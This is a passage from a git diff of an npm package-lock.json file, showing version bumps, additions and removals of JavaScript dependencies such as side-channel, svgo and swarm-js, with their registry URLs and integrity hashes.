"sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "requires": { - "ms": "2.0.0" - }, - "dependencies": { - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - } - } - }, - "depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" - }, - "ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" - } - } + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" }, "serialize-javascript": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", - "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz", + "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", "dev": true, "requires": { "randombytes": "^2.1.0" } }, - "serve-static": { - "version": "1.15.0", - "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", - "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", + "set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=" + }, + "set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", "requires": { - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "parseurl": "~1.3.3", - "send": "0.18.0" + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" } }, - "servify": { - "version": "0.1.12", - "resolved": "https://registry.npmjs.org/servify/-/servify-0.1.12.tgz", - "integrity": "sha512-/xE6GvsKKqyo1BAY+KxOWXcLpPsUUyji7Qg3bVD7hh1eRze5bR1uYiuDA/k3Gof1s9BTzQZEJK8sNcNGFIzeWw==", + "set-function-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz", + "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==", + "dev": true, "requires": { - "body-parser": "^1.16.0", - "cors": "^2.8.1", - "express": "^4.14.0", - "request": "^2.79.0", - "xhr": "^2.3.3" + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "functions-have-names": "^1.2.3", + "has-property-descriptors": "^1.0.2" } }, - "set-blocking": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=" - }, "set-immediate-shim": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz", "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=" }, + "set-proto": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz", + "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==", + "dev": true, + "requires": { + "dunder-proto": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0" + } + }, "setimmediate": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=" }, - "setprototypeof": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", - "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" - }, "sha.js": { - "version": "2.4.11", - "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz", - "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==", + "version": "2.4.12", + "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.12.tgz", + "integrity": "sha512-8LzC5+bvI45BjpfXU8V5fdU2mfeKiQe1D1gIMn7XUlF3OTUrpdJpPPH4EMAnF0DsHHdSZqCdSss5qCmJKuiO3w==", "requires": { - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" + "inherits": "^2.0.4", + "safe-buffer": "^5.2.1", + "to-buffer": "^1.2.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + } } }, "shallow-clone": { @@ -31007,46 +26051,55 @@ "dev": true }, "side-channel": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", - "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", + "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", "requires": { - "call-bind": "^1.0.0", - "get-intrinsic": "^1.0.2", - "object-inspect": "^1.9.0" + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3", + "side-channel-list": "^1.0.0", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" } }, - "signal-exit": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", - "dev": true + "side-channel-list": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz", + "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==", + "requires": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3" + } }, - "simple-concat": { + "side-channel-map": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz", - "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==" + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "requires": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + } }, - "simple-get": { - "version": "2.8.2", - "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-2.8.2.tgz", - "integrity": "sha512-Ijd/rV5o+mSBBs4F/x9oDPtTx9Zb6X9brmnXvMW4J7IR15ngi9q5xxqWBKU744jTZiaXtxaPL7uHG6vtN8kUkw==", + "side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", "requires": { - "decompress-response": "^3.3.0", - "once": "^1.3.1", - "simple-concat": "^1.0.0" - }, - "dependencies": { - "decompress-response": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", - "integrity": "sha512-BzRPQuY1ip+qDonAOz42gRm/pg9F768C+npV/4JOsxRC2sq+Rlk+Q4ZCAsOhnIaMrgarILY+RMUIvMmmX1qAEA==", - "requires": { - "mimic-response": "^1.0.0" - } - } + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" } }, + "signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true + }, "sisteransi": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", @@ -31059,39 +26112,6 @@ "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", "dev": true }, - "smart-buffer": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", - "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", - "dev": true, - "optional": true, - "peer": true - }, - "socks": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/socks/-/socks-2.6.1.tgz", - "integrity": "sha512-kLQ9N5ucj8uIcxrDwjm0Jsqk06xdpBjGNQtpXy4Q8/QY2k+fY7nZH8CARy+hkbG+SGAovmzzuauCpBlb8FrnBA==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "ip": "^1.1.5", - "smart-buffer": "^4.1.0" - } - }, - "socks-proxy-agent": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.1.1.tgz", - "integrity": "sha512-t8J0kG3csjA4g6FTbsMOWws+7R7vuRC8aQ/wy3/1OWmsgwA68zs/+cExQ0koSitUDXqhufF/YJr9wtNMZHw5Ew==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "agent-base": "^6.0.2", - "debug": "^4.3.1", - "socks": "^2.6.1" - } - }, "source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", @@ -31099,61 +26119,20 @@ "dev": true }, "source-map-js": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", - "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", - "dev": true + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==" }, "source-map-support": { - "version": "0.5.20", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.20.tgz", - "integrity": "sha512-n1lZZ8Ve4ksRqizaBQgxXDgKwttHDhyfQjA6YZZn8+AroHbsIz+JjwxQDxbp+7y5OYCI8t1Yk7etjD9CRd2hIw==", + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", "dev": true, "requires": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" } }, - "spdx-correct": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.1.tgz", - "integrity": "sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" - } - }, - "spdx-exceptions": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz", - "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==", - "dev": true, - "optional": true, - "peer": true - }, - "spdx-expression-parse": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", - "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" - } - }, - "spdx-license-ids": { - "version": "3.0.10", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.10.tgz", - "integrity": "sha512-oie3/+gKf7QtpitB0LYLETe+k8SifzsX4KixvpOsbI6S0kRiRQ5MKOio8eMSAKQ17N06+wdEOXRiId+zOxo0hA==", - "dev": true, - "optional": true, - "peer": true - }, "split-on-first": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/split-on-first/-/split-on-first-1.1.0.tgz", @@ -31177,90 +26156,37 @@ "ecc-jsbn": "~0.1.1", "getpass": "^0.1.1", "jsbn": "~0.1.0", - "safer-buffer": "^2.0.2", - "tweetnacl": "~0.14.0" - } - }, - "ssri": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz", - "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "minipass": "^3.1.1" - } - }, - "stable": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", - "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", - "dev": true - }, - "stack-utils": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.5.tgz", - "integrity": "sha512-xrQcmYhOsn/1kX+Vraq+7j4oE2j/6BFscZ0etmYg81xuM8Gq0022Pxb8+IqgOFUIaxHs0KaSb7T1+OegiNrNFA==", - "dev": true, - "requires": { - "escape-string-regexp": "^2.0.0" - }, - "dependencies": { - "escape-string-regexp": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", - "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", - "dev": true - } - } - }, - "statuses": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", - "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==" - }, - "stdout-stream": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz", - "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "readable-stream": "^2.0.1" - }, - "dependencies": { - "readable-stream": { - "version": "2.3.7", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", - "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "safe-buffer": "~5.1.0" - } + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + } + }, + "stack-utils": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", + "dev": true, + "requires": { + "escape-string-regexp": "^2.0.0" + }, + "dependencies": { + "escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "dev": true } } }, + "stop-iteration-iterator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz", + "integrity": "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==", + "dev": true, + "requires": { + "es-errors": "^1.3.0", + "internal-slot": "^1.1.0" + } + }, "stream-browserify": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-3.0.0.tgz", @@ -31281,11 +26207,6 @@ "xtend": "^4.0.2" } }, - "strict-uri-encode": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", - "integrity": "sha512-R3f198pcvnB+5IpnBlRkphuE9n46WyVl8I39W/ZUTZLz4nqSP/oLYUrcnJrw462Ds8he4YKMov2efsTIw1BDGQ==" - }, "string_decoder": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", @@ -31322,22 +26243,42 @@ "strip-ansi": "^6.0.1" } }, + "string.prototype.trim": { + "version": "1.2.10", + "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz", + "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==", + "dev": true, + "requires": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-data-property": "^1.1.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-object-atoms": "^1.0.0", + "has-property-descriptors": "^1.0.2" + } + }, "string.prototype.trimend": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", - "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz", + "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==", + "dev": true, "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" } }, "string.prototype.trimstart": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", - "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz", + "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==", + "dev": true, "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" } }, "strip-ansi": { @@ -31369,17 +26310,6 @@ "is-hex-prefixed": "1.0.0" } }, - "strip-indent": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", - "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "min-indent": "^1.0.0" - } - }, "strip-json-comments": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", @@ -31387,9 +26317,9 @@ "dev": true }, "style-loader": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz", - "integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-4.0.0.tgz", + "integrity": "sha512-1V4WqhhZZgjVAVJyt7TdDPZoPBPNHbekX4fWnCJL1yQukhCeZhJySUL+gL9y6sNdN95uEOS83Y55SqHcP7MzLA==", "dev": true, "requires": {} }, @@ -31411,13 +26341,13 @@ } }, "stylehacks": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.0.tgz", - "integrity": "sha512-SzLmvHQTrIWfSgljkQCw2++C9+Ne91d/6Sp92I8c5uHTcy/PgeHamwITIbBW9wnFTY/3ZfSXR9HIL6Ikqmcu6Q==", + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-7.0.4.tgz", + "integrity": "sha512-i4zfNrGMt9SB4xRK9L83rlsFCgdGANfeDAYacO1pkqcE7cRHPdWHwnKZVz7WY17Veq/FvyYsRAU++Ga+qDFIww==", "dev": true, "requires": { - "browserslist": "^4.16.6", - "postcss-selector-parser": "^6.0.4" + "browserslist": "^4.23.3", + "postcss-selector-parser": "^6.1.2" } }, "supports-color": { @@ -31428,188 +26358,30 @@ "has-flag": "^3.0.0" } }, - "supports-hyperlinks": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.2.0.tgz", - "integrity": "sha512-6sXEzV5+I5j8Bmq9/vUphGRM/RJNT9SCURJLjwfOg51heRtguGWDzcaBlgAzKhQa0EVNpPEKzQuBwZ8S8WaCeQ==", - "dev": true, - "requires": { - "has-flag": "^4.0.0", - "supports-color": "^7.0.0" - }, - "dependencies": { - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } - } - }, "supports-preserve-symlinks-flag": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==" }, "svgo": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz", - "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-3.3.2.tgz", + "integrity": "sha512-OoohrmuUlBs8B8o6MB2Aevn+pRIH9zDALSR+6hhqVfa6fRwG/Qw9VUMSMW9VNg2CFc/MTIfabtdOVl9ODIJjpw==", "dev": true, "requires": { "@trysound/sax": "0.2.0", "commander": "^7.2.0", - "css-select": "^4.1.3", - "css-tree": "^1.1.3", - "csso": "^4.2.0", - "picocolors": "^1.0.0", - "stable": "^0.1.8" - } - }, - "swarm-js": { - "version": "0.1.40", - "resolved": "https://registry.npmjs.org/swarm-js/-/swarm-js-0.1.40.tgz", - "integrity": "sha512-yqiOCEoA4/IShXkY3WKwP5PvZhmoOOD8clsKA7EEcRILMkTEYHCQ21HDCAcVpmIxZq4LyZvWeRJ6quIyHk1caA==", - "requires": { - "bluebird": "^3.5.0", - "buffer": "^5.0.5", - "eth-lib": "^0.1.26", - "fs-extra": "^4.0.2", - "got": "^7.1.0", - "mime-types": "^2.1.16", - "mkdirp-promise": "^5.0.1", - "mock-fs": "^4.1.0", - "setimmediate": "^1.0.5", - "tar": "^4.0.2", - "xhr-request": "^1.0.1" - }, - "dependencies": { - "chownr": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", - "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==" - }, - "decompress-response": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", - "integrity": "sha512-BzRPQuY1ip+qDonAOz42gRm/pg9F768C+npV/4JOsxRC2sq+Rlk+Q4ZCAsOhnIaMrgarILY+RMUIvMmmX1qAEA==", - "requires": { - "mimic-response": "^1.0.0" - } - }, - "fs-minipass": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.7.tgz", - "integrity": "sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==", - "requires": { - "minipass": "^2.6.0" - } - }, - "get-stream": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", - "integrity": 